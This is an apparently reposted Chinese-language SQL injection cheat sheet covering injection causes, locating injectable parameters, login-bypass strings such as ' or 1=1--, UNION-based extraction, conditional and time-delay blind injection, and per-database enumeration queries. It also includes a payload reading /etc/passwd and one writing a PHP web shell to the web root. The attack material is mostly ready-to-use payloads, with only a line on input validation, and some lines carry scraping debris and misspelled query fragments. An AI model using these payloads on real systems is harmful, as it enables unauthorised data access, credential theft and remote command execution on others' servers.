SQL注入總結

SQL注入介紹

無論是何種語言編寫的Web應用,有一部分是相同的,它們都具備交互性而且多半是數據庫驅動的。
數據庫驅動的Web應用一般有三層:表示層:Web瀏覽器或呈現引擎;邏輯層:如C# ASP .NET PHP等編程語言;存儲層:MySQL等數據庫。
SQL注入是一種將SQL代碼插入或添加到應用的輸入參數中的攻擊,以後再將這些參數傳遞給後臺的SQL服務器加以解析並執行。php

SQL注入成因

  • 轉義字符處理不當
    SQL將 ' 解析成代碼與數據間的分界線:單引號外面的內容均是須要運行的代碼,而用單引號引發來的內容均是數據。所以,只須要在URL或者Web頁面的字段中輸入一個單引號,就能快速識別出Web站點是否會受到SQL注入攻擊。
    單引號並非惟一的轉義字符,好比在Oracle中,空格( )、雙豎線(||)、逗號(,)、點號(.)、(*/)均具備特殊含義:
    • 管道字符用於爲一個值追加一個函數,函數的結果將轉換並與前面的值鏈接。
    • */用於結束註釋或Oracle中的優化提示。
  • 類型處理不當
    • 好比數字類型不須要使用引號,若是使用引號則會被當作字符串處理。若是將下列語句做爲輸入,那麼攻擊者便會讀取/etc/passwd文件中的內容,該文件包含系統用戶的屬性和用戶名:html

      1 UNION ALL SELECT LOAD_FILE('/etc/passwd')sql

    • MySQL中還有一個內置命令,可以使用該命令來建立系統文件並進行寫操做。還能夠使用下列命令向Web根目錄寫入一個Web shell以便安裝一個可遠程交互訪問的Web shell:shell

      1UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/***.com/cmd.php"數據庫

  • 查詢語句組裝不當
    用戶經過修改GET請求獲得未經容許訪問的數據,如users表的用戶名及密碼。
  • 錯誤處理不當
    最多見的問題是將詳細的內部錯誤信息顯示給用戶或攻擊者,這些細節會爲攻擊者提供與網站缺陷相關的重要線索。
  • 多個提交處理不當
    程序只對攻擊者提交的第一個表單進行校驗而忽略對以後的表單進行校驗。

注入點發現

  • 藉助推理進行測試
  • 識別輸入
    • GET請求:使用該方法時,信息包含在URL中,請求在URL中發送參數,遠程應用將檢索這些參數的值,將他們用於事先設計好的目的。
    • POST請求:一種用於向Web服務器發送信息的HTTP方法。服務器執行的操做取決於目標URL.
    • 其餘注入型數據:cookie,主機頭,引用站點頭和用戶代理頭
  • 操縱參數
    識別Oracle和PostgreSQL中的漏洞:參數爲 bikes 和bi'||'kes
    Microsoft SQL server :bikes 和 bi'+'kes
    MySQL:bikes和bi' 'kes
    若是請求結果相同,極可能存在SQL注入漏洞
  • 用戶數據驗證有兩個緣由會引起SQL注入漏洞:
    • 缺乏用戶輸入驗證
    • 數據和控制結構混合在同一傳輸通道中。

爲防止出現這種漏洞,首要措施是執行嚴格的用戶輸入驗證和輸出編碼。列如能夠採用白名單方法。編程

萬能密碼

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不一樣的用戶登錄 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
  • admin' union select '123' as password -- ;在密碼處填入123,用於經過username查詢密碼而後校驗匹配關係的狀況

使用UNION語句查詢數據

  • 語句:瀏覽器

    select colunms_1,colunms_2,...,colunms_N from table_1
    UNION
    select colunms_1,colunms_2,...,colunms_N from table_2;服務器

  • 使用條件:
    • 兩個查詢返回的列數必須相同;
      • 經過order by + 二分法測試列數是個好辦法
    • 兩個select語句對應列所返回的數據類型必須相同(或者至少兼容)
  • 技巧:
    • 移除原始查詢產生的行:id = 1 AND 1=0 UNION SELECT XXXX;

條件語句

  • 語句:
    • SQL Server:IF("a"="a") SELECT 1 ELSE SELECT 2
    • MySQL:SELECT IF('a',1(true),2(false))
    • Oracle:SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2 END FROM DUAL
    • PostgreSQL:SELECT CASE WHEN(1=1) THEN 'a' else 'b' END
  • 示例:SELECT * FROM products WHERE brand = 'ac'+char(108+(case when(system_user='sa') then 1 else 0 end))+ 'e'

時延注入

  • SQL Server:
    • WAITFOR DELAY '0:0:5' --
    • 若是有管理員權限還能夠經過xp_cmdshell擴展存儲來產生延時:EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'
  • MySQL:
    • SELECT BENCHMARK(1000000,sha1('test'))
    • SELECT SLEEP(5) //5.0.12以上版本
  • PostgreSQL:SELECT pg_sleep(5)
  • Oracle:select url_http.request('http://8.8.8.8') from dual //訪問一個不存在的url經過超時來實現延時

枚舉數據庫信息

  • SQL Server:
    • 讀取數據庫列表:select name from master..sysdatabases
    • 查詢當前數據庫:select db_name()
    • 查詢XXX數據庫對應的表:select name from XXX..sysobjects
    • 查詢XXX數據庫yyy中表對應的列:select name from XXX..syscolumns where id = (select id from XXX..sysobjects where name = 'yyy')
  • MYSQL
    • 查詢當前用戶:select user(); / select current_user;
    • 查詢數據庫信息:select schema_name from information_schema.schemata;
    • 查詢數據庫XXX的表名:select table_schema,table_name from information_schema.tables where schema_name = 'XXX'
    • 查詢數據庫XXX的yyy表的列名:table_colunm from information_schema.colunms where table_schema = 'XXX' and table_name = 'yyy'
  • PostgreSQL:
    • 列出全部數據庫:select datname from pg_database
    • 查詢當前數據庫:select current_database()
    • 查詢當前用戶:select user

盲注確認手段

  • 強制產生通道錯誤;如注入單引號
  • 注入帶反作用的查詢,如時延、邏輯與或
  • 將合法輸入進行拆分和平衡,如,整型轉換成數學算式:4換成1+3;字符串使用拼接、轉換編碼
相關文章
相關標籤/搜索